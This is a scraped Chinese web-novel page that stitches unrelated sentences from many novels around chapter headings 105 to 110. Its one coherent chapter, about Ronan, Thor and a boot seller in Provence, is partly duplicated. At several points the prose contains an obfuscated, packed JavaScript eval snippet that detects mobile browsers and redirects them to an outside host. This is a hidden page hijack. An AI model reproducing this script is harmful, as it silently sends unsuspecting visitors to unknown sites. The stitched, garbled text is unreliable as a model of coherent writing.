“叶姐,怎么了?需要帮忙吗?”张桦发现叶倾心一张脸一下子都煞白了,虽然叶姐皮肤很白,可是面色红润,可是眼下,脸上的红润没有。 洗手间里,林雨涵又重新换上了来时穿的衣服,而张旭在商场里买的那件白色睡裙则是被林雨涵重新装回袋子里。 后院并没有分正院,准确来说,后院似乎就只有一个院子,其余的,就是池塘,亭子,花园。 “赤掌门过奖了,以后的路还长着呢,还有很多事情要做。需要非常门的地方,还望赤掌门多多配合 。”右臂抱拳笑道。 第105章 你想要多少,我就给你多少 就这样张翠山开始了艰难的修炼,在收回一点灵力后,张翠山才知道太空的恐怖,冰冷,空寂,以及太空的吸力,那一瞬间张翠山连忙又释放了灵力来撑着。 “我想说两者都有~”顾玲儿看了一眼龙鳞飞调皮一笑,这个时候自己越是不在意,那个男人一定会越生气。 “唉,你们几个忘恩负义的,你们忘了当初……。”那位耍帅的老者对着另外几位老者呼喊道。 穿过道道回廊,眼前出现一片莲池,师娘最喜莲花,昔年陆宣没少了陪师娘在此赏莲。此时莲池上莲花烂漫,陆宣却丝毫没有心思欣赏,长驱直入来到一座宅院前,刚要推门而入,却忽然听到里面传来一声暴怒的厉吼。 对于眼前之人,黄晓天没有一点好感,甚至有些厌恶,真想出手将他击杀在此。 更何况如此一来,不知多少深处水深火热之中的黎民百姓将会得到拯救,这也无异于是一桩大功德。 下午五点了,见时候还早,伍樊让黄水根开车,和钟凯顾萱婷玛素一起出外,打算晚饭就在外面吃。 “上次多谢你们,你们真是醒目,居然找到张天师道长,向他求情,我这才死里逃生。”伍樊拉住冯祖明的手,又拍拍江浩的脊背,感激道。 北侧石台一阵鬼哭狼嚎,不知多少修为较弱的弟子仓促之间被砸得头破血流,偌大的一座石台几乎被瞬间夷为平地,就连宁芳木和林括也不得不仓皇之下护住自己的弟子,退向后方。 “如何淬炼?”齐玄易说道,之前在八荒楼也没有人给齐玄易说金丹淬炼之法。 听到圣旨中刻意点名沈青,清云就知道长乐帝的打算和曹之睿王炳是一样的。 这样的反应倒也没超出她的预料,眼看着当下事态已经平息了下来,她不作他想,上前抬手转动上锁的门把手。 张老六瞪大了眼睛,不敢相信他所看到的,怎么就这么一会的功夫,他的人就全都死了? “上苍世界的人,滚过来受死!”蔺九凤厉喝一声,毫不掩饰,声音如雷霆震动,伴随着仙人的气势,疯狂席卷四周天地。 众人假意应允,但在南渊刚刚走出城门的时候,却被身后的一记手刀劈晕了过去。 苏余念坐在马上,烈马有些不安,四处转悠着。苏余念眯起双眼,朝着城墙上面望去。 她没有因为自己出身卑贱,就和旁的人一样看轻自己,随意刻薄作践,反而也同她说话,尽管说的话如意都听得不是很明白,人也总笑得疯疯癫癫的,但如意并不觉得宜妃娘娘令人害怕或讨厌。 老人为了杀蔺九凤,真的是拼尽老命,全然不顾自己在燃烧底蕴和蔺九凤战斗。 这个星域之大,数千星球并存,大多数星球上都有很多活人,蔺九凤稍微一打听,这里叫做龙山星域。 之前在镇上,她也没少和那些男孩子打架,打得多了,有时候她也能反败为胜,只是每到这个时候,那些男孩子就会哭得很难看的回家找父母。 如果付出了这么多惨烈的代价,还是没能够见到姐姐,那么她,又要靠什么才能走下去? 真是可笑,人沐雨晴当时在公司里,跟人八竿子都打不着,这罪怎么就怪到她头上來了? 责任?宫千竹有些呆愣,眼前掠过一抹缥缈遥远的淡蓝色,墨子离放不下身上的担子,才逼得师徒二人走到了反目的绝路,即使这样,也还是不肯放下吗? 蜡烛照亮的范围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860063|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有限,梅霜根本看不清佛像的真正状况。更何况这是梅霜第一次与这个佛像单独如此直面相对。 看来,久让美代子不仅对自己的情况了如指掌,更对自己入宫后发生的一切如同亲身经历般清楚。就凭自己一到昭王府,她就守株待兔,看来绝非偶然。 “她们的厉害除了武力之外,更多的是让你完全想象不到。”九霄大大的伸了个懒腰。 元清风把刘大拿出来的那点可怜的东西一把夺了过来,完了还不忘一脚把人踹出去,对刘家的人,就算没事也要找点事。 南雪钰微一笑,知道告诉娘亲这些事,会让她难受一阵子,不过这是早晚的事,娘亲是非面对不可的,就让她好好想一想吧。 元清风不置可否,心中却有自己的想法,这一千多个炼丹房已经勾起了他的好奇心。 沈芸屋子却是吓得双腿发抖,叶老夫人这样找她说话,说不定已经弄出些眉目,那么,接下来她该怎么办? 乐韵等了老久,等某人放下一块料子立马抓过来,那是块同样有鸭蛋那么大,形状像哈蜜瓜,青白玉籽料。 “人情可以给,但是也不需要认干娘吧。”可以说,孟凡很不乐意,君子有所为有所不为,孟凡不是君子,但也不至于为了目的不择手段。人干娘这事,他觉得太别扭。 正纠结怎么才能从孟凡这里弄点草药回去,最好是长期供应的那种,忽然一个服务员神色慌张的推门跑了进来。 当余青龙带着十个青‘色’t恤,戴着墨镜的男人出现在餐厅中时,餐厅中的氛围为之一变,餐厅中响起了窃窃‘私’语的声音,今晚在‘私’下流传的青龙帮将来拜寿的事情坐实了,而且还是在赵队长刚出去不久。 第106章 有意思的托尔 托尔非常安静,他的到来没有给罗南的生活带来任何困扰,甚至还帮罗南找到了更好的看书地点。 没有事做的时候,罗南也会把椅子搬到树下阴凉处。 在这里看《狩猎执照考试理论问题官方手册》,效率提升了不少。 前三大部分他已在几天前看完,第四部分讲的是安全须知。 在法国狩猎时有三项强制性措施必须执行 集体狩猎时必须穿荧光服、只能在有狩猎标识的安全区域狩猎、每十年必须进行一次安排培训,以了解历年来出台的新法规和规定。 如果不遵守以上规则,最高可面临3000法郎的巨额罚款。 书中第五部分讲的是狩猎武器的相关知识。 例如在法国可以买到的枪械种类、其中哪些是可以允许在打猎中使用的、武器禁令、购买弹药的要求、储存要求、国内外的运输规则等。 法国只允许几类枪械用于打猎使用,还有非常严格的改装限定和弹夹规格限定。 可以用于打猎的枪支有 口径小于20毫米的半自动步枪;弹夹总数不超过11发、小于20毫米口径的连发手枪;单发半自动步枪等。 同时要求每件合法武器不得持有超过&nbp;1000发弹药。 这一部分也有不少练习题。 罗南正看得认真,旁边的托尔问 “你打算考狩猎执照吗?” “是的。”罗南头都不抬的说。 “确实应该考一个打发时间用。”托尔合上书,把它放在合拢的膝盖上,“在这里安静的待几天可能不会觉得怎样,但待的时间长了,难免会无聊。” “无聊?”罗南也把书合上,侧头看他。 托尔双手抱头,看着面前的葡萄园说 “除了每天打理葡萄园、每周去两次集市外,你也没其他事情了吧?这里没有电影院、没有儿童乐园、没有商场,也没有灯红酒绿的夜生活,不无聊吗?” 罗南似乎是听到了什么好玩的笑话,连连摇头 “不仅不无聊,我‘忙’的要死,根本没时间‘无聊’。” 托尔扭头 “不出去玩,在家里还能干什么?” 罗南打开《狩猎执照考试理论问题官方手册》,继续看起来 “就是因为不出去玩,才‘忙’得要死,每天热闹得很呢。” 托尔没有再说什么,但罗南知道他不相信。 罗南也没有再说什么,因为他知道托尔早晚会相信的。 托尔想在罗南漂亮的大厨房里做糖奶油煎饼,可罗南家没有所需的食材。 他说昨天夜游时看到了商铺的位置,可以自己去买,罗南便在家看书等他。 但托尔刚出去一分钟,便再次出现在罗南的视线里,跟他一起回来的还有一位陌生的老先生。 “他说想见房主,我就把他带回来了。”托尔指着那人说。 罗南警觉的站起,以为比利时人又要来他家野餐了。 待看清那人的穿着后,确定这是位普罗旺斯本地人,但肯定不是卢尔马兰村的。 那人穿着泛白的格子衬衣和帆布鞋,身后背了一个巨大的背包。 罗南第一反应是那里面完全可以塞进去一个人。 “有什么可以帮助您的吗?”罗南礼貌的问。 那人拿出一根自制香烟,叼在嘴上,但没有点燃。 根据罗南对老酒馆里农夫们的观察,这个举动代表对方要发表一篇‘长篇大论’了,但又不舍得让香烟白白燃掉,所以先放在嘴里过过瘾。 当他们点燃的那一刻,则代表要说的事情说完了。 “我看到了警示牌,葡萄园里有蝮蛇?”那人指着身后的葡萄园说。 罗南写‘警示牌’前做过功课,他选取的全部是吕贝隆地区有,但又不需要眼见为实的东西。 比如‘附近有高压电’这一类的就没有写,那很容易被戳穿是假的。 但是蝮蛇就不需要求证什么了。 没看见不代表没有。 我的朋友,如果不怕死就过来啊。 由于不知道对方的目的,罗南点头承认了下来 “是的。” “你见过几条?”那人继续问。 罗南煞是认真的想了一会 “三四次吧,我不知道它们是同一条还是不同的。” “多长?”那人继续问。 罗南随便比划了一下 “说实话我也不清楚,他们不是爬的很快,就是盘在一起,我不知道确切的长度。” 托尔悄悄向罗南身边挪动了一些距离。 罗南回答得太真实了,他开始怀疑罗南安慰他的那些话是不是假的。 也许是看到我情绪崩溃编出来的理由? 那位陌生人的表情也严肃了下来,嘴角向下垂着 “听起来很严重。” 罗南问他 “您问这些是有什么事情吗?” 那人把嘴上的香烟拿下来,苦涩的说 “我家附近也有蝮蛇,那东西毒得很,半小时以内必须送到医院,否则——” 他翻了一个白眼,舌 头也吐了出来,表情异常狰狞。 托尔又往罗南身边挪了一步,藏到罗南的身后。 他感觉小腿在隐隐发痒 “尤其是你们两个年轻的小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860064|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伙子,面对蝮蛇更加危险了。”那人面部表情恢复了正常,指着罗南和托尔继续说。 “什么意思?”罗南不明白了,难道蝮蛇还有攻击年轻小伙子的特殊癖好? 那人再次把烟叼到嘴上,龇牙咧嘴的说 “男人被蛇咬了,一定会死,但如果是女人被蛇咬了,死的就是蝮蛇了,哈哈哈——” 罗南身后出现捧场的牛叫声。 “所以在有蝮蛇出现的地方,必须穿上结实的靴子。”那人乐的前仰后合,随后打开身后的背包,神奇的变出一双靴子做展示。 罗南发现他身后的包里装的全是一样样式的靴子。 “来一双吗先生们?”那人终于点燃了香烟。 约两分钟后,罗南和托尔目送那人离开。 托尔开心的说 “你这里比巴黎有意思。” 罗南看着他脚下的新靴子问 “因为可以在家里购物?” 托尔嘴里发出洪亮的牛叫声,断断续续的还有一些字母蹦出 “这种人常来吗?他太有意思了,下次我想提前猜猜他们是卖什么的。” 罗南无语的笑出声来。 他怎么觉得托尔比那人更有意思呢? 头也吐了出来,表情异常狰狞。 托尔又往罗南身边挪了一步,藏到罗南的身后。 他感觉小腿在隐隐发痒 “尤其是你们两个年轻的小伙子,面对蝮蛇更加危险了。”那人面部表情恢复了正常,指着罗南和托尔继续说。 “什么意思?”罗南不明白了,难道蝮蛇还有攻击年轻小伙子的特殊癖好? 那人再次把烟叼到嘴上,龇牙咧嘴的说 “男人被蛇咬了,一定会死,但如果是女人被蛇咬了,死的就是蝮蛇了,哈哈哈——” 罗南身后出现捧场的牛叫声。 “所以在有蝮蛇出现的地方,必须穿上结实的靴子。”那人乐的前仰后合,随后打开身后的背包,神奇的变出一双靴子做展示。 罗南发现他身后的包里装的全是一样样式的靴子。 “来一双吗先生们?”那人终于点燃了香烟。 约两分钟后,罗南和托尔目送那人离开。 托尔开心的说 “你这里比巴黎有意思。” 罗南看着他脚下的新靴子问 “因为可以在家里购物?” 托尔嘴里发出洪亮的牛叫声,断断续续的还有一些字母蹦出 “这种人常来吗?他太有意思了,下次我想提前猜猜他们是卖什么的。” 罗南无语的笑出声来。 他怎么觉得托尔比那人更有意思呢? 第107章 飙升的幸福度 他特意向周围看戏的人解释了一番,目光偶然间落到最前面的林越身上。 欧阳慧儿的意图很明显,她要表达的是,她姐姐的背后有刘先生在,哈曼集团的背后有超神集团与绿泊集团在,看谁还敢动她姐姐与哈曼集团的歪心思,否则就是同时跟这三大集团为敌。 沈轻舞裹着大氅对着众人浅浅一福身后离开,自回了后台换下了一身湿衣,随后大步流星的朝着天字号楼而去。 说罢,手中的火焰再次爆发而出,很显然是针对那逃跑的游方才是如此的。 “人妖,呼叫人妖!”王南北恢复过来之后,使劲的呼叫着人妖。 三人倒也不傻,早在火凤凰出现的第一时间就齐齐拿出保命的东西,开始自救。 “你你你……你一个月就从灵皇初阶晋级到了灵皇巅峰?”还好凤天阳还有点脑子,说到一半就改成了传音。 苏德和赵芸是什么德性他还不知道吗?一个道貌岸然,一个狠毒贪婪,若是他们当真知道苏云凉是灵厨师,不将她狠狠榨干哪会罢休? 来京城好几天,终于有机会来这里转转,凌天成没有时间,自己跟着凌君生来溜达溜达。 “不是这两年的事情比较多么……”哈哈一笑后,庭树试图揭过这个话题。 之前我就已经猜测,这些房子构成的是一座移动的迷宫,那么说不定在刚才,迷宫就已经发生了变化。 我心有余悸的拍了拍胸口,下意识的看向了左右两边的桥,只有这两条路才是真的吗? 南宫皓蹙眉看了他一眼,转身看向有些不自然的南宫硕,越发觉得古怪,他的六弟一向都是有什么说什么,从来不会拐弯抹角,如今变的如此寡言,不让人觉得奇怪才怪。 顾琼依并不想吵架,更不想在公司门口跟别人吵架。既然吕子晴怀着这样的心思,顾琼依也没必要再浪费时间。她转身朝自己的车子走去。 “刚才吃饭的时候,你说的那叫什么话?爸爸好心让你升职,你不感谢就算了,冷嘲热讽的,甩脸子给谁看呢?”盛天启越说越来气。 “夜绝,你这个朋友我君越交定了!”思虑了许久的君越忽然咧嘴一笑,再一次伸出手,眸中光彩夺目。 直播间里,粉丝们在激动之后也都在等待着王建森,王总是否会对这首歌满意。 然而苏湛最强的一剑却并未对冰蓝蛇王造成太大的伤害,只是将其尾部一枚鳞片斩碎,留下一条白印。 “他哪敢呀!要是让他的班长知道了,不得弄死他呀!”米洛插嘴说道。 纵然他说出的话没什么出格之处,几个丫鬟还是微微的心生怒气,但是此刻还是发作不起来,毕竟有求于人,俗话说,人在屋檐下不得不低头。 音铃踏着积雪回到张子衡和甘兰身边,他们二人早已睡下,于是坐了下来,慢慢闭上双眼,进入混沌之态。 厨房里有很多食材,梦璐说这些都是周源德带来的,毕竟这几天为了等他“出关”,他都是在这里吃住的,ea们的伙食,也都是他这个做长辈的顺便包了的。 “哈,怎么这德行!”方离一见到马尔斯的样子,就乐了,这哥们这张嘴肿的像个山东大包子似的,人挡在一张靠椅上,两只胳膊耷拉在旁边,整个就是一个国民党残兵败将的样子。 幸亏纳兰绮晴看懂了丝巾上所画的场景正是天孕仪式,才连忙带着雨蝶赶往村里中央广场,参加了天孕仪式,才成功救活了君不遇。 “那你想想他们平时说话的语调,动作,神态。”金大沉继续引导。 听到中川荣一如此一说,宗汉一郎先是有些吃惊,随后无奈地苦笑着摇摇头。 这样的实力再搭配上刘零前世锻炼出来的经验和其他手段,他在凡尘虽然还说不上是无敌,但其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860065|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人想要他陨落的可能性也几乎是不可能的了。 李寺顿时笑了起来,脸上更是带着淡然之色,眼神之中可以说是带着寒光,让无数人都感到了极为的惊艳,没有想到竟然会生这样的事情,可以说是让他们感到了极为的压抑。 既然令狐凝鸢有安排,也回到了华夏,他当然也不着急这么一点两点了,虽然没有打算回去真的与她们再相逢,就算只是远远看着,像粉丝一样参加一下她们的活动,偷偷靠近她们一点就好。 清风闻言后没有多说什么,当即取下胡八一身上的绳子,助跑了几步纵身一跃,在几人不可思议的眼神下,径直跳到了位于五米之外的中央石台上。 陈玄奘不由得看了看那两份包子,他在自己的婚宴上的确没有吃过东西,此时早已饥肠辘辘了。 姬考狂笑,挥剑急斩,立即听得一声脆响,轩辕剑如削冰切雪一般,生生将杨戬凝结而出的石墙切为两断,更是无丝毫停顿,当头斩下。 黑衣人的眼神冰冷,说完就向窗户的方向跑去,打算撞碎玻璃逃离,可惜却被那符篆组成的锁链给牢牢的捆绑了起来。 处于触电状态的严铭,遭到能量冲击波的扫射,体内顿时多了些黑暗能量。然而,由于电流的影响,导致其他电器都短路,而别墅内的大型蓄电池则是发出强大的电流,随着短路的电器,全都通往半死不活的严铭身上。 牛魔王心中有点失落,他之前告诫红孩儿不要跟佛派产生冲突,要静观其变,最后双方两败俱伤的时候,他们再出手!谁能想到,这个红孩儿就是沉不住气,率先发难了。 南下川疆十万大山,领兵杀退南蛮入侵,有他在的地方,没有一个南蛮野民胆敢入商国之境。 之所以不让这些警员现在入场,是为了他们的安全着想,现代枪械尽管可以对炼气化神境界的修士造成伤害,但首先也得有开枪的机会才行。 第108章 沃克吕兹省美食联盟 \t劲气炸开,梅不悔愕然发现易无道居然只是后退了三步,并不像之前那样被震飞。 手臂像被压缩到了极致的弹簧松开一般向那人弹去,拳头虚握,中指的指节凸出,点向对方的喉结。 元神跃入青莲灯之中,那束目光几乎是紧跟而来,当那目光出现在室内之时,时间仿佛停滞了,有什么正在苏醒,就像黑夜之中花开的声音。 而在这个过程中,难免少不了,**摩擦所带来的触感。更是让她又羞又怒,却无法开口。 终结大道的气息在这一刻疯狂爆发,而冥火也是熊熊燃烧,在幽冥印力量的指引之下,所有的冥火都是汇聚在一起,凝聚成了一轮紫黑色的烈阳,悬浮在天地之间。 金灵圣将口中所说的元帅乃是一位伪圣帝级的超级强者,上一个时代万界圣帝麾下两大至强者之一,号称玄天武皇,是万界圣帝亲自任命的大元帅。 与其想方设法把对方留在自由者公会,倒不如就维持现在这种状态,大家一起合作本身就是一件很不错的事情了。 那家伙自说自话的样子让他无法回应,这种类型的家伙,他还是第一次得见,完全没有打交道的经验。 过了一会,叶兰穿着一件红粉睡衣走出来了,虽然裹得严严实实,可是裙子还是可以映衬出来她的曼妙身材来。长发湿湿的打在肩头,身上有一种清香的沐浴露的芳香。 这里的事,他暂且放下,因为这里对他有威胁的只有杨凡,先解决掉他,他才能真正的毫无忌惮。 “来抱抱,辛苦了。”苏岚努了努嘴,伸出如藕白般的胳膊索抱。 “这不是重点,重点是……侧福晋和金格格都在偏厅,眼下正不对眼着呢。”吉祥满眼焦虑道。 一个由灵力所化的能量光团,带有熊熊火焰的手掌印穿梭虚空,速度惊人,直接印向了血魔食人花的面部位置,这是血魔食人花的灵魂本源所在。 原本桀骜不驯的陆压现如今已经是恭恭敬敬的神态,转变之大让敖顺都难以置信。 正在僵持中,一只老虎出现在附近,看见了黑衣人,也看见了躲在巨石后面的司徒墨然和贺兰颜夕。 田畅打来电话询问母亲的病情,电话里蜜儿的声音传来,她想回家了。第二天,医生发来医嘱,下午,王玉香就可以出院了。 贺兰颜夕叹了口气,原来是为情所困,她很同情钟若静,因为她知道这古代想嫁给如意郎君是多么的不容易。 贺兰颜夕心里嘀咕,幸好喝的不多,要不这点解药真是不够解毒的。 别说区区张汤时,就算把秦宣关进去,凭他独身一人,也休想离开。 傅九笙一愣,心里莫名的兴许,她看着墨若渝,一时间说不出话来。 林笑笑强忍着笑意转回了头来,这孩子,依然是这么的……气人。 整个地下基地灯火通明,不时看到一些无人驾驶的飞行机械在建筑中穿插而过,进进出出。地面上随处可见一队队的魔能巨兵在巡逻。 会场里的人们,在诱宵美九眼中变成了某种其他的,恐怖的生物,紧张和一种别样的悸动支配了她的身体。 事实证明,这根本就是必然的事情。夏洛特用了和上次同样的手法,把千爱在车上催眠了,然后将其送到宾馆之中暂时安顿好。然后她们再找一辆车到城南的郊区去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860066|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 尸气越来越多,三目尸虎的骨骼失去了这些尸气的辅助,顿时变成了一根根的枯骨,轰然燃烧了起来。 夜幕下的城市灯火通明,繁华无比,人来人往,没有人知道正有什么事情在发生,同样更加不知道到底有多少财富在流动。 当第一缕黑发落地的时候,苏子格感到阎倾的手微微的颤抖了一下。 但是……她就是不想努力哇!她努力的方向只有一个——就是寻找捷径。 难道是在去高家的路上?可是按理说,高一高二高三一直跟着倾倾,若是见过他们二人见面,又怎么可能不向他禀报呢? “是。”那个扮演贴旦的男子闻言应道,留在了台上,而谢媚则让人扶着下了台。 本来这里还是很受大家的欢迎的,但是由于这几年抓得比较紧,这里的好物件也越来越少,久而久之,这里就无人问津了。 他向来称王称霸惯了,不管是在这号山还是在火焰山,从来没有被欺负过。 他的精神能力猛地一把涌入冰魄龙脑袋中,刚想挣扎的冰魄龙,目光变得呆滞起来,最后彻底失去焦距。 赵云龙从来不会放过任何一个后患,尤其是这种极为明显的后患!除非夏云发毒誓,立下天地誓言,否则根本没有半点意义。 只是修炼这一套功法,难度极大,想要往上突破,必须要挑战成功,才能够突破上去。例如他要突破到魂修罗,就必须要挑战第二层修罗天道塔,才能够成功突破,否则无论怎么吸收丹药,怎么修炼,都不可能突破。 在另一个城市中闲逛,封林发现这个国家什么样的人种都有,想必早已经大融合了。 第109章 美食家 “噗!”没有丝毫悬疑的,男子的头猛地一震,脸上带着不敢置信的表情,一只眼睛已经成了血洞,石子透过了他的右眼,穿透了他的脑袋。 杨挺很是纠结,一边是反黄盟的盟主,一边是救自己的恩人和想要结交的朋友,他都不想伤害。 天魔突然分化开来,一化二,二化三,三化千。围着木真飞翔,在个在后世广泛流着佛祖成佛之时天魔袭扰的传说。传说总是会有失真之处,即使是现在的风月城中的人也不会知道木真其实并不是真正佛祖。 如果目标不是刺客职业,九宫格只会发挥出九段中的一段伤害,但如果要是刺客职业,那么这个九宫格玄而又玄的九层抖动都会变化成一段一段的伤害。 苏子墨从洗手间走了出去,朝着原先一行人的位置所在地走了过去。 “那可不一定,我看楚天羽的修为,也不仅仅只是初级武皇的实力。”沉寂了两秒之后,水武云道。 时间一点一滴的流逝,随着苏子墨手中的动作不停,洁白无瑕的4纸逐渐多起了潦草的字迹,涂涂画画,一眼望去,却是不让人感到眼花缭乱。 一般的喝药并不需要厉光芒来指挥,他的命令是指要求团员们使用高级的红药水。 从进攻的队伍中居然冒出了数条冲锋的身影,有更多的人稍稍迟疑了零点几秒,也跟随其后。 贺宝林浑身一软,抬头就看到纪容羽似笑非笑,毫不掩饰眉眼之中的杀意,再次打了个寒颤:“是,嫔妾多谢娘娘提点!”赶忙麻溜地走了。 砰!胖子一拳轰在了洛星尘布下的领域之上,可怕的领域之力剎那间便将他拳头上的皮肤给割裂,露出了模糊的血肉。 旋即,比陈昊天还要干脆利索的转身,一步上了马车,让谢浩赶车,随着陈昊天的兵马走。 夜无尘的到来,令冷御宸有些意外,但见他苦笑着看向身后的月琉璃,心下又有几分明了。 当时在那些梅花树下,孟剑西给她准备的梅花糕,她到现在还记忆犹新,那个味道却是很好吃。 所以,假的李欣汝想都不想的拒绝了,这让蒙高很是失望,再劝说姐姐无效的情况下,甚至跟自己的姐姐闹起了脾气。 可是现在,很抱歉了,陈鸿菲任凭说的天花乱坠,她也不会信一个字,算是自己的男人被人夺,她若想要,可以自己再去夺回来,决计不会假借他人之手,成全了他人的美事,平白为她人做了嫁衣。 和战技秘籍一样,分为黄玄地天四种等级,每个等级又分为凡品,中品,高品,以及极品和绝世,但极品和绝世的战能星石能被炼制出来的几率非常低,尤其是绝世的战能星石,那只能说是微乎其微。 技能栏没有什么变化,纪容羽也不觉得不满意,反正锦帛卷轴再次开启了新的委托,她索性先看起了剧情。看完之后,她又有了一瞬间的犹豫。 混乱星域,本来就是一个弱肉强食的地方,只要实力够强,就可 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从研究院门口到第一道门口大概有500米的样子,这是一条冗长的通道,有些闷热,不透风,像极了末世前的隧道入口,昏暗的通道两侧点着数根日光灯。 灵气,这些雾气,居然都是天地灵气所化,天地灵气,居然都化为了实质,可见,这里的天地灵气,浓郁到什么地步了。 第110章 普罗旺斯的时间概念 “你不是在开玩笑吧,冒充鬼门之主,亏你说的出来。”叶玄笑道。 阿伯拉罕路易宝玑先生1947年出生于瑞士,十五岁就移居巴黎。在法国,他学会制表的所有工艺,结婚,创业,他的年轻岁月都是在巴黎度过的。 “欸,我这就去问问。”陈婵玉安慰陈老夫人两句之后,匆匆出门。陈家与巴林银行有业务往来,想要证实这条消息还是很容易的。 黄毛咦了一声,壮着胆子走近一步,然后把脸凑到那大汉面前,仔仔细细打量起来,发现他仍然是刚才那副样子。 “姑娘,你没事吧。看看有没有伤到哪里?”张楚上下打量了一番顾玲儿,眉头紧皱,一脸关心地问道。 在形成神魂灵体的时候,北辰无法感觉时间的流逝,反正只知道过了很长时间,但是北辰却一刻都没有停歇。 然而这个时候,龙战与叶玄正是打的不可开交的时候,同时老三也是参与了进来,秦无双看着想把赢瑶给带走,可是龙战竟然还能与叶玄战斗的时候,直接杀向赢瑶与秦无双。 这眼睛的主人在想到底自己凭借什么有这样的勇气,敢于和一个神秘强大无敌的敌人争斗呢? “没问题,我答应过的事一定会做到!”北辰一直很守信,这一点毋庸置疑。 刘武心里咯噔了一下,莫非她已经知道了?回看着她,眼神不禁是有些躲闪了起来。 血禅斩上锈迹斑斑,如干涸的血渍,好像怎么洗也洗不干净,刀身弯似残月,上面有两道浅浅的槽纹,如缠绕在刀上的两条腾蛇,抽刀时,有股淡淡血腥味。 当初顾淮之不肯收她来公司,是华霓在根基不稳时,不想得罪席华森才说服了顾淮之把这个活祖宗弄到公司里给了一个闲职。 邝师傅又问了几个零件的处理方法,让王思明演示了一遍,这才结束了今天的审核。 按照他的情报,赵羽自从出世,碰到的人,要么成为路人,要么就是被打死,唯有他,因为机缘巧合,才和赵羽成为结义兄弟。 鬼谷先生看样子是被气得够呛,他稍微平息了一下怒火,又继续道。 只是,相较于许鸢,希里多的资历更深,也更受到大家的信任和敬重。 两人走出医院,来到了海边。此时夜幕降临,海风轻拂,星光璀璨。 凤月桐划破了他的手腕,用强行的拽着他另一只手在伤口处摩挲。 当然了,虽然现在他只是一个孩子的模样,但是依然能洞察到很远的动静,只要他不愿意,就不会有人知道他在凤月桐的房间。 当凤月桐带着学生们回到学院时候,不少学生看到凤月桐就开始指指点点。 侍卫摔在地上,彻底的愣住了。刚才那是他们的公主吗?是他们的公主把他打飞的吗?公主······何时学会了武功? 更何况,苏夏经历大变,从天澜孓然一身到了沧澜,从苏瑾言口中知道秦越对自己情深一片,要说她完全不感动,那是不可能的。 “是外婆煮的呢?真好吃?我以前没吃过。”连绒一边吃一边回答。 没想到萧肃辰会突然提出这么棘手的问题,饶是安悠然机智狡猾也乱了阵脚,不知该如何作答。 他一脸的疲倦,心力交瘁,他要操心的事情太多了,好累好烦,却不得不撑下去。 奇怪?他们才从上个地点走到这里来,怎么这些人就对西陵璟那么大的非议? “把安全带系上。”凌墨瞥一眼中央后视镜内的两人,等他们都乖乖的将安全带扣上之后,才发动车子。 叶之渊顿了一下,却也只是一瞬间。抬‘腿’往浓浓的夜‘色’中走去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860068|159421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 大概不想让他们再次误会,陈世和年初夏还是早早的离开了医院。 看着手里的两盒喜糖,叶晓媚打开了它们,拿出其中一粒巧克力,吃了起来。 可即便如此,北斗现在的脑子中却还是塞满了刚才自己救下的那个孩子的笑容。 何朗等三人,在荒庙不远处找到一隐秘的山谷,内正有一被前人遗弃的洞府,他们暂住了进去。 美妙的感觉不停的刺激着宁红儿的神经,不管是因为误会,还是因为别的什么,二人确实合为了一体,即便王彦没有动作,宁红儿也是舒爽愉悦的。 